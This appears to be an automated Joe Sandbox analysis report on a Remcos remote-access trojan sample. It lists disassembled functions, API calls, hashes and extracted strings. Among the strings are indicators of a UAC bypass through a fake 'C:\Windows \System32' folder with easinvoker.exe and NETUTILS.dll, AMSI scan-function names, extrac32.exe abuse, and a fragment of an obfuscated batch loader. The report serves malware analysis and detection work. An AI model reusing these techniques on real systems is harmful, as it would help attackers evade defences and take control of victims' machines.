Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$AddressFreeHandleModulePathProcProcessString$AllocateAttributesCloseCounterCreateCurrentEnumExitLibraryLoadLocalesMemoryNameName_PerformanceQuerySystemVirtualWrite
String ID: Advapi$BCryptVerifySignature$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$bcrypt$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 3496465935-2845693168
Opcode ID: 5c6d37d65d708c72b866f3d0c7273071faf124aaa20996eded075760a4afcd71
Instruction ID: f6cc1ca315e7e992e110c1330e99cea53a79f556a2989a34a39f7c41f5b48a4e
Opcode Fuzzy Hash: 5c6d37d65d708c72b866f3d0c7273071faf124aaa20996eded075760a4afcd71
Instruction Fuzzy Hash: A643E438A543598FCB24FB65DD909DEB3BAEB85300F5041E2E008EB665DB71AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03F65A90 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,03F60000,03F8B790), ref: 03F65AAC
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,03F60000,03F8B790), ref: 03F65ACA
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,03F60000,03F8B790), ref: 03F65AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03F65B06
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,03F65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03F65B4F
RegQueryValueExA.ADVAPI32(?,03F65CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,03F65B95,?,80000001), ref: 03F65B6D
RegCloseKey.ADVAPI32(?,03F65B9C,00000000,?,?,00000000,03F65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03F65B8F
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03F65BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03F65BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03F65BBF
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 03F65BEA
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 03F65C31
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 03F65C41
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 03F65C69
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 03F65C79
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 03F65C9F
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 03F65CAF

Strings

Software\Borland\Locales, xrefs: 03F65AC0, 03F65ADE
Software\Borland\Delphi\Locales, xrefs: 03F65AFC

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: a2ebf2d21d3594f7b7f543b96bfe72d3855b23674d0dec54baa1cd8d180eaf1a
Instruction ID: 0bf0b18695cc0ff85712e960cbf57417dda6275e431024ca7d4005c63697c662
Opcode Fuzzy Hash: a2ebf2d21d3594f7b7f543b96bfe72d3855b23674d0dec54baa1cd8d180eaf1a
Instruction Fuzzy Hash: 9F518375E4031D7EFB21D6B4CC46FEFB7BC9B05740F4401A5AA08FA181EA74DA488BA4

Uniqueness

Uniqueness Score: -1.00%

Function 03F77966 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 03F77975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 03F7797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 03F7799B

Strings

NtAllocateVirtualMemory, xrefs: 03F7796B
C:\Windows\System32\ntdll.dll, xrefs: 03F77970

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 0b2bbe7ed30096e67f2afeb888b5ef6902007afa846c059267e66a8ea84a0335
Instruction ID: 840832fb7027a885eccd2df7f19089f2a126810e80aa90faa3c48986f91e5eb4
Opcode Fuzzy Hash: 0b2bbe7ed30096e67f2afeb888b5ef6902007afa846c059267e66a8ea84a0335
Instruction Fuzzy Hash: AAE09AB666130CBFCB40EEA9DC45EEB77ACAB09610F004022BA18DB101D671E954CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 03F77968 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 03F77975
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 03F7797B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 03F7799B

Strings

NtAllocateVirtualMemory, xrefs: 03F7796B
C:\Windows\System32\ntdll.dll, xrefs: 03F77970

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 87d75ece58b5b4f64b095ea0476bd7bc7b7ee4ab8a8cc0e3713a6f71a75b318d
Instruction ID: d40789c333c74b39d035db05e093ad7a38aea8ffe1bf6e3db5bcf193271a4125
Opcode Fuzzy Hash: 87d75ece58b5b4f64b095ea0476bd7bc7b7ee4ab8a8cc0e3713a6f71a75b318d
Instruction Fuzzy Hash: B3E0BFB656130CBFCB40EFA9DC45EDF77ACAB09610F004012BA18DB101D671E554CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 03F7C4DC Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03F64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 03F64EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,03F7C5AC), ref: 03F7C517
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,03F7C5AC), ref: 03F7C547
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 03F7C55C
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 03F7C588
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 03F7C591

Part of subcall function 03F64C24: SysFreeString.OLEAUT32(03F7D42C), ref: 03F64C32

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: e1bf4d32cc4e1a6db409ca328ec212f4b3d7ba0a144de60ad93d2b5a2da0198e
Instruction ID: 0cb8b8ebd32fd4daf2ab511fc99383210ba9ae8b4349c4ae4901d3f692260095
Opcode Fuzzy Hash: e1bf4d32cc4e1a6db409ca328ec212f4b3d7ba0a144de60ad93d2b5a2da0198e
Instruction Fuzzy Hash: BB21D075A50308BADB11FAE5CC46FEEB7BCEB09700F500466F600FB1C1DAB4AA0587A4

Uniqueness

Uniqueness Score: -1.00%

Function 03F7C8AC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON

Download Yara Rule

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 03F7C9EA

Strings

ScanBuffer, xrefs: 03F7C933
Initialize, xrefs: 03F7C8DA
OpenSession, xrefs: 03F7C98C

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: c12d1cc43f7b88cd396fcc5a5c3e79f40911e06c5a35cbf3e6a258cfcd30ff6b
Instruction ID: f54787dfc5ea22b1834b8addb93b75f5e8511cc83b82710391ce5c533c008e95
Opcode Fuzzy Hash: c12d1cc43f7b88cd396fcc5a5c3e79f40911e06c5a35cbf3e6a258cfcd30ff6b
Instruction Fuzzy Hash: D3413739A503499FEB00FBA5DD91EDEB3F9EF89600F208422E000FB251DA70ED019B60

Uniqueness

Uniqueness Score: -1.00%

Function 03F7C3F6 Relevance: 6.1, APIs: 4, Instructions: 81nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 03F64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 03F64EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,03F7C4CA), ref: 03F7C437
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03F7C471
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 03F7C49E
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 03F7C4A7

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: e6ea4760117285d4b34ba38c10f6b2897e17d24c90357814250a4616c4bfbde3
Instruction ID: f04bc4113b59ebf11f0e073f0e3909218f8db0683066573212047feb2423f425
Opcode Fuzzy Hash: e6ea4760117285d4b34ba38c10f6b2897e17d24c90357814250a4616c4bfbde3
Instruction Fuzzy Hash: B021CD75A40308BAEB10EBA4CD42FEEB7BCEB04B00F614466B615FB1C0D6B4AE048654

Uniqueness

Uniqueness Score: -1.00%

Function 03F7C3F8 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 03F64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 03F64EF2

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,03F7C4CA), ref: 03F7C437
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03F7C471
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 03F7C49E
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 03F7C4A7

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 7530834225181db45f3c842dd8924b490bd6af808098495075b99b6e57626843
Instruction ID: ca60247fd8ff91938380caacfe2757471fa51b694b9f00a2d8670b725fa50310
Opcode Fuzzy Hash: 7530834225181db45f3c842dd8924b490bd6af808098495075b99b6e57626843
Instruction Fuzzy Hash: D321CD75A40308BAEB10EBA4CD42FEEB7BCEB04B00F614466B615FB1C0D6B4AE048654

Uniqueness

Uniqueness Score: -1.00%

Function 03F76D84 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 03F76D28: CLSIDFromProgID.OLE32(00000000,?,00000000,03F76D75,?,?,?,00000000), ref: 03F76D55

CoCreateInstance.OLE32(?,00000000,00000005,03F76E68,00000000,00000000,03F76DE7,?,00000000,03F76E57), ref: 03F76DD3

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 8eb404df062766a4fec6050698f97abf48fea38f6e975e0f7dd6e1f71a32a0a3
Instruction ID: 7cc0249de46bb8e68666e13bbbfbcb543fe0d4d5c63dabc50b10356aa4b12dce
Opcode Fuzzy Hash: 8eb404df062766a4fec6050698f97abf48fea38f6e975e0f7dd6e1f71a32a0a3
Instruction Fuzzy Hash: 7C01DB75624B04AFDB05DF61EC12D6F7BACD749B10FA10476F900E2641E6749910C574

Uniqueness

Uniqueness Score: -1.00%

Function 1602E9C5 Relevance: 51.5, APIs: 14, Strings: 15, Instructions: 795
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,1602E9E1), ref: 1603CB65
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CB6E
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,1602E9E1), ref: 1603CB85
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CB88
Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,1602E9E1), ref: 1603CB9A
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CB9D
Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,1602E9E1), ref: 1603CBAE
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CBB1
Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,1602E9E1), ref: 1603CBC3
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CBC6
Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,1602E9E1), ref: 1603CBD2
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CBD5
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,1602E9E1), ref: 1603CBE6
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CBE9
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,1602E9E1), ref: 1603CBFA
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CBFD
Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,1602E9E1), ref: 1603CC0E
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CC11
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,1602E9E1), ref: 1603CC22
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CC25
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,1602E9E1), ref: 1603CC36
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CC39
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,1602E9E1), ref: 1603CC4A
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CC4D
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,1602E9E1), ref: 1603CC5E
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CC61
Part of subcall function 1603CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,1602E9E1), ref: 1603CC72
Part of subcall function 1603CB50: GetProcAddress.KERNEL32(00000000), ref: 1603CC75
Part of subcall function 1603CB50: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,1602E9E1), ref: 1603CC83

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe,00000104), ref: 1602E9EE

Part of subcall function 16030F37: __EH_prolog.LIBCMT ref: 16030F3C

Strings

Remcos Agent initialized, xrefs: 1602EFEF
Software\, xrefs: 1602EAC3
Exe, xrefs: 1602EB14
Access Level: , xrefs: 1602F29F
licence, xrefs: 1602EF88
User, xrefs: 1602F28E
del, xrefs: 1602F2D1
Exe, xrefs: 1602EB0F
Inj, xrefs: 1602EBD5, 1602EBEC
Administrator, xrefs: 1602F287
license_code.txt, xrefs: 1602EA4D
Rmc-3N0E9G, xrefs: 1602EB05, 1602EB62
C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 1602E9E6, 1602EE0F
exepath, xrefs: 1602EE92, 1602EF40
del, xrefs: 1602F2ED, 1602F36F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
String ID: Access Level: $Administrator$C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe$Exe$Exe$Inj$Remcos Agent initialized$Rmc-3N0E9G$Software\$User$del$del$exepath$licence$license_code.txt
API String ID: 2830904901-1942845015
Opcode ID: 067f1d11ad54e87ce2320d50fc61b3ea2f36050e7c64c9ff1d4433499e7923e2
Instruction ID: 4ea59932431a8e851682922b6b29abe08a380c77a3d106292979129ce5d3470f
Opcode Fuzzy Hash: 067f1d11ad54e87ce2320d50fc61b3ea2f36050e7c64c9ff1d4433499e7923e2
Instruction Fuzzy Hash: 3432286CF842802BDA29E7708C65B7F2E9F5F91642FC0089DF6465B2C1EE65AD0DC352

Uniqueness

Uniqueness Score: -1.00%

Function 03F81AC0 Relevance: 46.7, APIs: 2, Strings: 23, Instructions: 2959
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

Part of subcall function 03F7C3F8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,03F7C4CA), ref: 03F7C437
Part of subcall function 03F7C3F8: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03F7C471
Part of subcall function 03F7C3F8: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 03F7C49E
Part of subcall function 03F7C3F8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 03F7C4A7

Part of subcall function 03F67E18: GetFileAttributesA.KERNEL32(00000000,?,03F7E0EE,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,UacInitialize), ref: 03F67E23

Sleep.KERNEL32(00001770,UacScan,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC), ref: 03F83094

Part of subcall function 03F7C368: RtlInitUnicodeString.N(?,?,00000000,03F7C3E2), ref: 03F7C390
Part of subcall function 03F7C368: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,03F7C3E2), ref: 03F7C3A6
Part of subcall function 03F7C368: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,03F7C3E2), ref: 03F7C3C5

WinExec.KERNEL32(00000000,03F89524), ref: 03F8436D

Strings

HotKey=, xrefs: 03F84D6B
UacInitialize, xrefs: 03F82A32, 03F82BEC, 03F82D8A, 03F83121, 03F83783, 03F83C70
C:\Windows \System32\NETUTILS.dll, xrefs: 03F832FA
IconIndex=, xrefs: 03F84C37
C:\\Users\\Public\\Libraries\\, xrefs: 03F84000
UacScan, xrefs: 03F81ACC, 03F81D52, 03F81E14, 03F81F6E, 03F82066, 03F822D9, 03F825B0, 03F8281D, 03F829B6, 03F8301F, 03F83A20, 03F83F90, 03F841D1, 03F84476, 03F84583, 03F847E1, 03F848D9
C:\Windows \System32\easinvoker.exe, xrefs: 03F832DF
[InternetShortcut], xrefs: 03F84BD4
.url, xrefs: 03F83C24
@echo offset "Nnqr=set "%Nnqr%"njyC=="%Nnqr%"qkMvMLsfma%njyC%http"%Nnqr%"dbvWEsxWns%njyC%rem "%Nnqr%"NpzRZtRBVV%njyC%Cloa"%Nnqr%"ftNVZzSZxa%njyC%/Bat"%Nnqr%"TwupSEtIWD%njyC%gith"%Nnqr%"yIGacXULig%njyC%k"%Nnqr%"uGlGnqCSun%njyC%h2sh"%Nnqr%"FU, xrefs: 03F8298B
URL=file:", xrefs: 03F84BE3
Initialize, xrefs: 03F826A8, 03F83707, 03F83A9C, 03F83E98, 03F8405D, 03F84155, 03F843FA, 03F845FF
O.bat, xrefs: 03F81E95
C:\Users\Public\alpha.exe, xrefs: 03F83330
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 03F8433B
ScanString, xrefs: 03F81B48, 03F81C5A, 03F81ECD, 03F821A4, 03F823D1, 03F824EE, 03F8262C, 03F82724, 03F82915, 03F82FA3, 03F833CD, 03F83449, 03F835E3, 03F83928, 03F83CEC, 03F8437E, 03F84B64, 03F84CD9, 03F84D91
C:\Windows \System32\aaa.bat, xrefs: 03F83315
ScanBuffer, xrefs: 03F81CD6, 03F81FEA, 03F82B2A, 03F82CE4, 03F82E82, 03F8319D, 03F83351, 03F83541, 03F8387B, 03F83B94, 03F83F14, 03F842C9, 03F844F2, 03F846F7, 03F8485D, 03F849D1, 03F84A4D
er.e, xrefs: 03F81C0F
C:\Users\Public\, xrefs: 03F83C19, 03F84E7D
s.d, xrefs: 03F8227B
a.bat, xrefs: 03F827E5
OpenSession, xrefs: 03F82128, 03F82355, 03F82472, 03F82899, 03F82AAE, 03F82C68, 03F82E06, 03F82F27, 03F830A5, 03F834C5, 03F8365F, 03F837FF, 03F839A4, 03F83B18, 03F83D68, 03F83E1C, 03F840D9, 03F8424D, 03F8467B, 03F84955, 03F84AC9, 03F84C5D, 03F84E0D

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

